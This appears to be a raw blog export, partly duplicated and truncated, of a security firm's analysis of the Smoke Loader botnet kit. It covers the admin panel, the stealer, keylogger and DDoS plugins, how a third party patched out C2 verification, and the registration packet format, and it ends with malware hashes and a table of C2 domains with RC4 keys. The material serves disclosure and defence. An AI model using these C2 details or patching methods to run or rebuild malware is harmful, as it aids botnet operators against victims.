3.1%\n"}],["code",{"code":"001dacf6608df69d485514a172fff05d\n00521a5e800a85de875b703e9bc1f507\n00891f91904955fb69fad4488f96741a\n008d5eb400e41fcb87ef64db276013dc\n009e213b63a4830adf5df372261ae6b0\n00b8a47bdf14880ebeba6bebc3ea7dbc\n00c5063e13752357b35c097c4c0f7059\n00eef71e18381a537b1750c7f2983025\n01162c00d54b976536d692173ef3e039\n013748c007f80fb7cc2c42ca424e4733\n"}],["code",{"code":"# NA C2 version req_key res_key remaining_c2_if_exists affid md5_count\n0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826\n1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826\n2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826\n3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395\n4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395\n5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395\n6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77\n7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77\n8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77\n9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77\n"}]],"markups":[["i"],["strong"],["a",["href","__GHOST_URL__/file/ioc_smoke_loader_md5.txt"]],["a",["href","__GHOST_URL__/file/ioc_smoke_loader_c2.txt"]],["a",["href","https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html"]],["a",["href","https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait"]],["a",["href","https://www.cert.pl/en/news/single/dissecting-smoke-loader/"]]],"sections":[[1,"p",[[0,[],0,"Smoke Loader 是一个在黑市上公开销售的僵尸网络软件。其活动时间可以追溯到2011年，虽然近年来已经被多次曝光，但保持持续升级，非常活跃。在我们统计中，仅最近半年活跃的样本就超过 1,500 个。"]]],[1,"p",[[0,[],0,"我们在跟踪这一家族的过程中，捕获了一套完整的恶意程序套件，包括其主体Loader、控制台Panel，以及控制台中包含的插件。对这套样本的分析使我们对其运行机制有了更深入的了解，这将是本文的主要内容之一。"]]],[1,"p",[[0,[],0,"分析过程中，我们还遇到一组被修改过的特例样本。虽然有人认为这组样本是作者在对抗安全研究人员提取C2主控域名，但仔细分析后，我们认为这是第三方做“盗版”。这部分的分析和研判过程，是本文的主要内容之二。"]]],[1,"p",[[0,[],0,"Smoke Loader相关的分析文档已经很多，本文不会涉及已经被公开的部分。相关内容，读者可以参阅文末参考部分。"]]],[1,"h2",[[0,[],0,"Smoke Loader 套件分析"]]],[1,"p",[[0,[],0,"套件中的文件结构见后图，说明如下："]]],[3,"ul",[[[0,[],0,"本体，Loader_new_Cyberbunker.exe"]],[[0,[],0,"Web控制台，Panel ，使用未加密的PHP语言编写"]],[[0,[],0,"插件，包括 Panel/mods 和 Panel/keylogger，等"]],[[0,[],0,"mysql数据库建库脚本 smoke_1.sql，插件规则会存储在这个数据库里"]],[[0,[],0,"Smoke Loader的功能介绍，smoke_features.txt"]],[[0,[],0,"安装说明"]]]],[10,0],[1,"p",[[0,[0],1,"图 1. Smoke Loader 目录结构 "]]],[1,"h4",[[0,[],0,"控制台"]]],[1,"p",[[0,[],0,"套件中的 Panel 目录，就是其控制台。将其部署后，得到一个Web控制界面，这是一个标准的Smoke Loader的控件台，样式布局和网上流传的控制台基本一致。"]]],[1,"p",[[0,[],0,"通过对照恶意软件自带功能说明，可以了解该控制台包括以下12大类功能："]]],[3,"ul",[[[0,[],0,"盗号"]],[[0,[],0,"浏览器表单数据收集"]],[[0,[],0,"密码嗅探，包括Ftp和邮件"]],[[0,[],0,"伪DNS，即域名劫持"]],[[0,[],0,"文件搜索，实现全盘文件监控"]],[[0,[],0,"进程监控"]],[[0,[],0,"DDOS攻击"]],[[0,[],0,"键盘记录"]],[[0,[],0,"邮件盗窃"]],[[0,[],0,"隐藏窗口版TeamViewer"]],[[0,[],0,"门罗币挖矿"]],[[0,[],0,"用户自定义程序"]]]],[1,"p",[[0,[],0,"其存储位置和执行方式也略有不同："]]],[3,"ul",[[[0,[],0,"前9个功能，从“盗号”到“邮件盗窃”：对应 Panel/mods/plugins中，这是一个自定义格式加密的插件集合。通过逆向可以看到，其中有效的可执行体共计16个。运行时需通过创建进程explorer.exe和内存注入进行加载。"]],[[0,[],0,"隐藏窗口版TeamViewer：对应 Panel/mods/tv。运行时由相应的控件插件下载并创建子进程执行。"]],[[0,[],0,"门罗币挖矿：对应 Panel/mods/minerXX。运行时由相应的控件插件下载并创建子进程执行。"]],[[0,[],0,"用户自定义程序：Smoke Loader的用户还可以指定任意恶意程序进行加载，既可以从控制台直接下发，也可以从指定的URL下载执行。加载的方式也很灵活，可以直接执行也可以作为dll加载，甚至可以直接进程内展开执行。"]]]],[10,1],[10,2],[10,3],[1,"h4",[[0,[],0,"插件"]]],[1,"p",[[0,[],0,"Smoke Loader的插件系统很灵活，除了首次启动会尝试下载所有自带插件及插件执行规则，还支持通过自带插件和插件规则。"]]],[1,"p",[[0,[],0,"通过解密plugin共拆解出16个插件，其中若干插件功能相同但适配不同版本操作系统。在我们的测试机上运行时，可以看到Smoke Loader的有效载荷成功创建了9个子进程，每个进程内运行了一个插件。注意，这些进程名虽然是 explorer.exe看似无害，但实际上已经被注入了插件载荷，是恶意进程。具体的注入方式细节，见参考[1]。"]]],[10,4],[10,5],[1,"p",[[0,[],0,"更多插件的细节包括："]]],[3,"ul",[[[0,[1],1,"挖矿插件"],[0,[],0,"：它会在收到挖矿指令时下载对应的矿机程序（进程wuauclt.exe）配合启动参数执行挖矿任务。"]],[[0,[1],1,"DDoS插件"],[0,[],0,"：支持多种常见的DDoS攻击类型，如http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood"]],[[0,[1],1,"表单信息盗取插件"],[0,[],0,"：支持常见的浏览器，包括 IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird"]]]],[10,6],[10,7],[10,8],[1,"h2",[[0,[],0,"“对抗”还是“盗版”？"]]],[1,"p",[[0,[],0,"有人报告近期流行的Smoke Loader出现了版本[2]，以对抗C2抽取系统，我们也观察到一组类似样本。"]]],[1,"p",[[0,[],0,"这组样本的目的，实际上不仅可能是“对抗”，我们分析后认为其目的是“盗版”。我们认为这个版本的改动来自第三方而非原作者，目的不是为了对抗安全研究人员分析，而是为了突破原始作者在售出的Loader中写死C2的限制。"]]],[1,"p",[[0,[],0,"这组样本共88个，有个共同点是其中残存了两个并不生效的C2："]]],[3,"ul",[[[0,[],0,"hxxp://185.35.137.147/mlp/"]],[[0,[],0,"hxxp://185.35.137.147/mlp/"]]]],[1,"p",[[0,[],0,"从残存C2出发，我们在手头的其它样本中关联到了有着相同C2、并且生效的样本。我们将后者称为原始样本，前者称为修改版本。通过对比，我们注意到以下特点，并据此认定这组版本是经过二进制Patch的“盗版”："]]],[3,"ul",[[[0,[1],1,"相同的残存C2"],[0,[],0,"：所有修改版本中的残存C2是一样的，暗示这组样本同源；"]],[[0,[1],1,"C2存储方式"],[0,[],0,"：原始样本中是加密存储的，修改样本是明文存储的；"]],[[0,[1],1,"主备C2机制"],[0,[],0,"：原始样本中是支持的，修改样本是不支持的；"]],[[0,[1],1,"C2验证机制"],[0,[],0,"：原始样本有验证机制，会通过验证两个C2的CRC32值来决定是否安装启动项以及是否加载插件，修改版本直接用汇编空指令NOP覆盖了验证代码，跳过了验证机制；"]]]],[1,"p",[[0,[],0,"Smoke Loader 在黑市有销售，一套完整的Smoke Loader公开售价约850美元。开发者采用许可证的销售模式，给每个买家发布一套定制好的系统，包含了Loader+Panel。值得注意的是，如果想变更C2就需要重新生成Loader，而每重新生成一个Loader需要10美元。这组“盗版”Loader就可以突破原作者的这个限制。"]]],[1,"p",[[0,[],0,"Patch后的盗版Loader支持全部功能。但这种Patch方案非常粗暴缺点很明显，硬编码使得一个Loader最多只能支持一个有效C2。样本的网络行为和我们的统计数据也都证实了这一结论。"]]],[1,"h4",[[0,[],0,"“盗版”中的三处关键 Patch 代码"]]],[1,"p",[[0,[],0,"该版本中有三处关键的Patch代码，分析如下，截图见后："]]],[3,"ul",[[[0,[1],1,"第一处Patch"],[0,[],0,"：直接替换了C2配置信息解密函数，将C2明文编码在代码中，调用解密函数时直接返回C2地址。后图可见，每次调用解密函数返回的C2都是代码段中的“hxxp://jsoc8492.us/jd/”；"]],[[0,[1],1,"第二处Patch"],[0,[],0,"：覆盖了验证第一C2的代码。正版样本会计算第一C2的CRC值，然后和加密key做比较，如果失配则不会加载插件；"]],[[0,[1],1,"第三处Patch"],[0,[],0,"：与第二处类似，覆盖了验证第二C2的代码。"]]]],[10,9],[10,10],[10,11],[1,"p",[]],[1,"h2",[[0,[],0,"3. 其它有意思的细节"]]],[1,"h4",[[0,[],0,"Loader"]]],[1,"p",[[0,[],0,"套件中的Loader_new_Cyberbunker.exe就是Loader本体。"]]],[1,"p",[[0,[],0,"Loader由注入器和有效载荷组成。注入器负责一些简单的沙箱和逆向对抗工作，并最终把有效载荷注入explorer进程。有效载荷是真正的工作代码。"]]],[1,"p",[[0,[],0,"2018版的注入器，会使用PROPagate的加壳注入方案，这一点在Talos的公开文档中已经提及。通常，Smoke Loader的买家在通过各种渠道传播恶意程序之前，还会继续使用自己的加壳方案对Loader加壳。所以，流行的样本基本上都会有两到三层壳。"]]],[10,12],[1,"h4",[[0,[],0,"上线包和C2指令通信格式"]]],[1,"p",[[0,[],0,"样本运行后，会发送一个数据包向控制台注册，称为上线包或者注册包。2018版注册包的数据结构在既往已公开分析中未见清晰定义，我们可以利用控制台代码中相应部分轻松搞定。"]]],[10,13],[10,14],[1,"p",[[0,[],0,"通过分析，我们可以明确该上线包的格式如下："]]],[10,15],[1,"p",[[0,[],0,"其中部分字段的意义如下："]]],[3,"ul",[[[0,[1],1,"AFFID"],[0,[],0,"：也叫Seller ID，这是为了明确分发渠道，用来和合作的团伙分成的标记，在打包的时候硬编码进样本。最常见的取值是 Good, cece 和 new1，不过也有大约15%的样本中这里是空的；"]],[[0,[1],1,"BOT_WINVER"],[0,[],0,"：感染主机的OS版本，从代码看基本支持当前所有Windows个人版系统，从WinXP到Win10，见下图；"]]]],[10,16],[1,"p",[[0,[1],1,"BOT_RES"],[0,[],0,"：用来确定是否是安装版，因为Smoke Loader发行时会分为可安装版及不可安装版，售价略有不同。这个标记是用来区分版本类型的；"]]],[3,"ul",[[[0,[1],1,"BOT_CMD"],[0,[],0,"：指令编号，控制台定义的指令共有15个，详见下图。"]]]],[10,17],[1,"p",[]],[1,"h2",[[0,[],0,"4. IoC统计"]]],[1,"p",[[0,[],0,"我们对近半年收集到的 Smoke Loader样本做了一些简单的统计，详细数据请参考附录IOC："]]],[3,"ul",[[[0,[],0,"样本： 1656 个"]],[[0,[],0,"C2： 296个"]],[[0,[],0,"Affid：42个"]]]],[1,"p",[[0,[],0,"破解版相关统计："]]],[3,"ul",[[[0,[],0,"原始版本 vs 破解版样本：约为1568比88"]],[[0,[],0,"破解版中生效的 C2 URL 个数 ： 27 个"]],[[0,[],0,"这些C2 URL 涉及到的域名 : 15 个"]]]],[1,"p",[[0,[],0,"按照Affid (Seller ID)进行分组，样本的统计情况如下。其中Good、cece、new1 是这个渠道较大的消费者，三者合计占据了 88%。NA 是样本中该处为空的情况："]]],[10,18],[1,"h2",[[0,[],0,"5. IoC"]]],[1,"p",[[0,[],0,"Malware Sample md5"],[1,[],0,0],[0,[],0,"完成的md5列表超过 1,500 行，可以在 "],[0,[2],1,"这里"],[0,[],0," 下载。下面列出了前十条记录："]]],[10,19],[1,"p",[[0,[],0,"Malware C2"],[1,[],0,1],[0,[],0,"完整的C2 列表超过 250 行，可以在 "],[0,[3],1,"这里"],[0,[],0," 下载，下面是前十条记录。其中各字段的含义如下。"]]],[3,"ul",[[[0,[],0,"version 版本号"]],[[0,[],0,"req_key 发包数据的rc4加密key"]],[[0,[],0,"res_key 收包数据的rc4解密key"]],[[0,[],0,"remaining_c2 “盗版”中残存的C2"]],[[0,[],0,"affid Seller ID"]],[[0,[],0,"md5 count 有多少独立样本包含该C2"]]]],[1,"p",[[0,[],0,"关于 C2 列表的一些细节："]]],[3,"ul",[[[0,[],0,"大部分的样本中会有2到5个C2，但也有个别样本中包含 75 个C2 之多；"]],[[0,[],0,"有些C2 相关的样本，在升级之后 req_key, res_key 会发生变化；"]]]],[10,20],[1,"h2",[[0,[],0,"参考资料"]]],[3,"ul",[[[0,[],0," [1] "],[0,[4],1,"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html"],[0,[],0," "]],[[0,[],0," [2] "],[0,[5],1,"https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait"],[0,[],0," "]],[[0,[],0," [3] "],[0,[6],1,"https://www.cert.pl/en/news/single/dissecting-smoke-loader/"],[0,[],0," "]]]]],"ghostVersion":"3.0"}

5c666cdd3cfa71000717a663

post

2019-02-15T09:29:44.000Z

63873b9a8b1c1e0007f52f42

smoke-loader-the-core-files-the-admin-panel-the-plugins-and-the-3rd-party-patch

2019-02-18T03:51:52.000Z

public

published

2019-02-18T03:51:52.000Z

Smoke Loader: The Admin Panel, the 3rd Party Patch, and few other things

<p>Smoke Loader is a botnet software that is publicly available since 2011 on the black market. It is old but still active, just in the last six months we have seen more than 1,500 active samples.</p><p>Although it has been repeatedly exposed by different security researchers in recent years, the public available documents we have seen are all missing an important part of this botnet software, the admin panel. We are not quite sure why no one seems to have talked about it except citing screenshot shared by the possible malware author in the underground forum.</p><p>We also noticed the existence of a bunch of special modified samples, these samples also caught attention by other researchers. There is a theory that the original author did this as an effort to hide the C2 to make it more difficult to be taken down. We have a different thought, we think that there are 3rd party out there who do not want to pay the original author fees to update C2 so they released these patched versions.</p><p>So here are some details:</p><h2 id="smoke-loader-kit">Smoke Loader Kit</h2><p>The file structure in the kit is shown in the following figure,</p><ul><li><strong><strong>Core File</strong></strong>, Loader_new_Cyberbunker.exe, working payload to be injected to the processes of the infected hosts.</li><li><strong><strong>Web Console</strong></strong>, this is the Admin Panel</li><li><strong><strong>Plugins</strong></strong>, including panel/mods and panel/keylogger, etc.</li><li><strong><strong>Mysql database build script</strong></strong> smoke_1.sql, where plugin rules are stored</li><li><strong><strong>Smoke Loader Feature Introduction</strong></strong>, smoke_features.txt</li><li><strong><strong>Installation Notes</strong></strong></li></ul><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/1_smoke_load_file_tree.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 1. Smoke Loader's Panel Kit File Structure</em></figcaption></figure><h4 id="admin-panel">Admin panel</h4><p>After deploying it, we get a web control interface, which is the Smoke Loader’s admin panel. It just looks very similar to the screenshots security researchers found from the underground market.</p><p>The admin panel supports the following 12 modules (For details, refer to the <a href="__GHOST_URL__/file/smoke_features.txt"><strong>smoke_features.txt</strong></a>) file comes with the kit:</p><ul><li>STEALER</li><li>FORM GRAB</li><li>PASS SNIF</li><li>FAKE DNS</li><li>FILE SEARCH</li><li>PROCMON</li><li>DDOS attack</li><li>KEYLOGGER</li><li>HIDDEN TV(team viewer)</li><li>MINER</li><li>EMAIL GRAB</li><li>User-defined program</li></ul><p>The modules’ storage location and execution are different:</p><ul><li>The first eight functions, from ” STEALER” to “KEYLOGGER” refers to Panel/mods/plugins, this single file is actually a collection of 16 plug-ins. The 16 executables can be loaded by injecting into seperate explorer.exe process on victim hosts.</li><li>Hidden TeamViewer and MINER: under path Panel/mods/tv and Panel/mods/minerXX correspondingly. (Both can be loaded by downloading the corresponding plugin then be injected as subprocess.)</li><li>User-defined program: User can load any malicious program that he likes, either directly from the console or downloaded from a user specified URL. The execution process is also flexible,( it can be executed directly, or be loaded as a dll, or even directly be injected in the process.)</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/2_smoke_loader_pianel_web_interface-1.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 2. Smoke Loader's Admin panel, Web Interface</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/3_smoke_load_buildin_function_description.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 3. Smoke Loader Comes With a feature Introduction File</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/4_smoke_loader_task_panel.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 4. Smoke Loader User-Defined Function Interface</em></figcaption></figure><h4 id="plugin">Plugin</h4><p>Smoke Loader’s plugin system is very flexible. When it first launches, it tries to download all the built-in plug-ins and their execution rules. Customers can also add their own plug-ins and plug-in rules.</p><p>A total of 16 plug-ins have been disassembled by decrypting the plugin file, some of which have the same function but are adapted to different versions of the operating system. When running on our test machine, we can see that it creates 9 subprocesses, each running a plugin. Note that although these process names are seemingly harmless as explorer.exe, they have been injected with plug-in payloads and are malicious. For details of the specific injection method, see Reference [1].</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/13_smoke_load_retrieving_plugin_rules.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 5. The Console Retrieves the Plugin Rules from the Database for the Bots</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/14_smoke_loader_plugin_started_with_explorerexe_injected.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 6. Plugins That Are Already Running in the Test Machine</em></figcaption></figure><p>More plugin details include:</p><ul><li><strong><strong>Mining plugin</strong></strong> : It downloads the corresponding miner program (process wauuclt.exe) with the startup parameters to perform the mining task when it receives the mining instruction from C2.</li><li><strong><strong>DDoS plugin</strong></strong> : Many common DDoS attack types, such as http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood</li><li><strong><strong>Form Information Stealing Plugin</strong></strong> : Supports common browsers including IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/15_smoke_loader_plugin_detail_miner.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 7. Example of a Mining Plugin</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/15_smoke_loader_plugin_detail_ddos.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 8. Types of Attacks Supported by the DDoS Attack Plugin</em></figcaption></figure><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/16_smoke_loader_plugin_form_grab.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 9. List of Browsers Supported by the Form Stealing Plugin</em></figcaption></figure><h2 id="deception-or-piracy">"Deception" or "Piracy" ?</h2><p>It has been reported that the recent Smoke Loader has an updated version [2] to defer security researchers’ effort to extract its’ C2s, we have also observed a similar set of samples but we have a different theory.</p><p>We believe that this version of the changes came from a third party rather than the original author, the purpose is to break the limitations of the original author’s rule which requires extra fee to update C2 after purchase.</p><p>Smoke Loader is available for about $850 in the black market. The author uses a license sales model to release a customized system for each buyer, including Loader+Panel. It’s worth noting that if buyer wants to change C2 he need to regenerate the Loader, and each rebuild of a Loader costs $10.</p><p>With the above background info, let’s go back to these special samples we have, all together there are 88 samples. And one thing in common is that all of them have two “extra” residual C2 URLs that are not valid:</p><ul><li>hxxp://185.35.137.147/mlp/</li><li>hxxp://185.35.137.147/mlp/</li></ul><p>With this information, we looked into our samples pool and have associated other original samples that only used these “extra” C2 as the only valid C2.</p><p>Here are some highlights between the original version and the modified version:</p><ul><li><strong><strong>Residual C2 URLs</strong></strong> : all modified versions share the exact same residual C2 URLs, suggesting that this set of samples have the same root;</li><li><strong><strong>C2 configuration</strong></strong> : the original samples encrypt the C2 configuration, and the modified samples store it in plaintext;</li><li><strong><strong>Active and standby C2 mechanism</strong></strong> : The original samples have backup C2 mechanism, but not in the modified samples;</li><li><strong><strong>C2 verification mechanism</strong></strong> : The original samples determine whether to install the startup item and whether to load the plug-in by verifying the CRC32 values of the two C2 first. The modified version directly overwrites the verification code with the NOP assembly empty instruction, and skips the verification mechanism all together.</li></ul><p>The modified version circumvents the limitation set by the author, but it comes with a price, only one valid hard-coded C2 is supported. The network behavior of the samples and our statistics both confirm this.</p><h4 id="three-key-patch-codes-in-the-modified-version">Three Key Patch Codes in the Modified Version</h4><p>There are three key patches in the modified version:</p><ul><li><strong><strong>Patch 1</strong></strong> : to replaces the decryption function for the C2 configuration information, the C2 is written plaintext in the code. When the decryption function is called, C2 address is returned directly. As can be seen from the figure below, the C2 returned by each decryption function call is a direct “hxxp://jsoc8492.us/jd/” ;</li><li><strong><strong>Patch 2</strong></strong> : to overwrite the code that verifies the first C2. The original sample is supposed to calculate the CRC value of the first C2, and then compare it with the encryption key. If it is mismatched, the plugin will not be loaded;</li><li><strong><strong>Patch 3</strong></strong> : similar to above, just to work on the second C2;</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/20_smoke_loader_pirate_patch_1.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 10. Patch 1, Replaces the Decryption Function of C2 Configuration Information</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/patch-2.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 11. Patch 2, Using NOP Null Command Override to Skip the First C2 Authentication Mechanism</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/patch-3.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 12. Patch 3, Using NOP Null Command Override to Skip the Second C2 Authentication Mechanism</em></figcaption></figure><h2 id="other-interesting-details">Other Interesting Details</h2><h4 id="loader">Loader</h4><p>The Loader consists of an injector and a payload. The injector is responsible for some basic anti-sandbox and anti-reverse engineering tasks, and eventually injects the payload into the explorer process. The payload is the real working code.</p><p>The 2018 version of the injector uses the PROPagate's packed injection solution, which is mentioned in Talos' documentation. Typically, buyers of Smoke Loader adds their own packaging scheme to pack Loader before spreading malicious programs through various channels. Therefore, the popular samples normally have two to three shells.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/5_smoke_load_multi_layer_packing.png" class="kg-image" alt loading="lazy"><figcaption><i>Figure 13. The Popular Smoke Loader Sample Usually Has Two or Three Layers of Shells.</i></figcaption></figure><h4 id="registration-packet-and-c2-command-communication-format">Registration Packet and C2 Command Communication Format</h4><p>After the sample launches, it sends a packet to register with the controller. We have yet to see a public document which details the data structure of the 2018 version, but with the files on hand we were able to easily figure it out.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/6_smoke_loader_register_packet_after_decode.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 14. The Decrypted Package</em></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/7_smoke_loader_register_packet_data_structure.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 15. The Registration Packet Data Structure Defined in the Console Code</em></figcaption></figure><p>Here is the register packet's format:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/8_smoke_loader_register_packet_detail_en.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 16. Smoke Loader Online Package Format</em></figcaption></figure><p>Here are several fields' description:</p><ul><li><strong><strong>AFFID</strong></strong> : Also called Seller ID, this is to ID the distribution channel, it is hard coded into the sample by the author. The most common values are Good, cece and new1, and about 15% of the samples only have an empty field here;</li><li><strong><strong>BOT_WINVER</strong></strong> : The target host OS version. It seems that all current Windows Personal Edition systems from WinXP to Win10 are supported. See the figure below;</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/9_smoke_loader_host_os_verstion_list.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 17. OS Version of the Host</em></figcaption></figure><!--kg-card-begin: markdown--><ul> <li><strong>BOT_RES</strong> : Smoke Loader has two sub version, the non-resident version only runs one time and then removes itself from the victim. Another resident version stays on the victim. This tag is used to distinguish it;</li> </ul> <!--kg-card-end: markdown--><p></p><ul><li><strong><strong>BOT_CMD</strong></strong> : The instruction number, there are 15 instructions defined by the console, as shown in the figure below.</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://123.125.80.45/content/images/2019/02/10_smoke_loader_command_list.png" class="kg-image" alt loading="lazy"><figcaption><em>Figure 18. Instruction Types Supported by Smoke Loader</em></figcaption></figure><h2 id="4-ioc-statistics">4. IoC Statistics</h2><p>Here is some basic statistics for the samples we collected in the past six months:</p><ul><li>Samples: 1656</li><li>C2: 296</li><li>Affid: 42</li></ul><p>Number related to modified version:</p><ul><li>Original version vs modified version: 1568 vs 88</li><li>Number of C2 URLs in modified version: 27</li><li>Domain names involved in the C2 URLs: 15</li></ul><p>Grouped by Affid (Seller ID), the sample statistics are as follows. Among them, Good, Cece, and new1 are the top 3 channels, accounts for 88%. NA is the case where the Affid is empty:</p><pre><code>affid count % Good 826 49.9% cece 395 23.9% [NA] 238 14.4% new1 77 4.7% 1501 21 1.3% 0 13 0.8% Pitt 12 0.7% 1301 9 0.5% sel1 7 0.4% Form 5 0.3% OTHER 52 3.1% </code></pre><h2 id="5-ioc">5. IoC</h2><p>Malware Sample md5s in last 6 months <br>The whole list has more than 1,500 entries and can be downloaded <a href="__GHOST_URL__/file/ioc_smoke_loader_md5.txt"><strong><strong>here</strong></strong></a>. The first ten records are listed below:</p><pre><code>001dacf6608df69d485514a172fff05d 00521a5e800a85de875b703e9bc1f507 00891f91904955fb69fad4488f96741a 008d5eb400e41fcb87ef64db276013dc 009e213b63a4830adf5df372261ae6b0 00b8a47bdf14880ebeba6bebc3ea7dbc 00c5063e13752357b35c097c4c0f7059 00eef71e18381a537b1750c7f2983025 01162c00d54b976536d692173ef3e039 013748c007f80fb7cc2c42ca424e4733 </code></pre><p>Malware C2 in last 6 months <br>The complete list has more than 250 C2 entries, and can be downloaded <a href="__GHOST_URL__/file/ioc_smoke_loader_c2.txt"><strong><strong>here</strong></strong></a> , and below are the first ten records. The format is as follows.</p><ul><li>version : version number</li><li>req_key : rc4 encryption key for sending data</li><li>res_key : rc4 decryption key for receiving data</li><li>remaining_c2 : the residual C2 in the modified version</li><li>affid : Seller ID</li><li>Md5 count : how many independent samples contain this C2</li></ul><p>Some details about the C2 list:</p><ul><li>Most of the samples have 2 to 5 C2s, but there are a few samples containing a much larger number such as 75 C2;</li><li>Some samples change their req<em>key, res</em>key when they get upgraded;</li></ul><pre><code># NA C2 version req_key res_key remaining_c2_if_exists affid md5_count 0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826 1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826 2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826 3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77 7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77 </code></pre><h2 id="contact-us">Contact Us</h2><p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p><h2 id="reference">Reference</h2><ul><li>[1] <a href="https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html">https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html</a></li><li>[2] <a href="https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait">https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait</a></li><li>[3] <a href="https://www.cert.pl/en/news/single/dissecting-smoke-loader/">https://www.cert.pl/en/news/single/dissecting-smoke-loader/</a></li></ul>

Smoke Loader is a botnet software that is publicly available since 2011 on the black market. It is old but still active, just in the last six months we have seen more than 1,500 active samples. Although it has been repeatedly exposed by different security researchers in recent years, the public available documents we have seen are all missing an important part of this botnet software, the admin panel. We are not quite sure why no one seems to have talked about it except citing screenshot shared by the possible malware author in the underground forum. We also noticed the existence of a bunch of special modified samples, these samples also caught attention by other researchers. There is a theory that the original author did this as an effort to hide the C2 to make it more difficult to be taken down. We have a different thought, we think that there are 3rd party out there who do not want to pay the original author fees to update C2 so they released these patched versions. So here are some details: Smoke Loader Kit The file structure in the kit is shown in the following figure, * Core File, Loader_new_Cyberbunker.exe, working payload to be injected to the processes of the infected hosts. * Web Console, this is the Admin Panel * Plugins, including panel/mods and panel/keylogger, etc. * Mysql database build script smoke_1.sql, where plugin rules are stored * Smoke 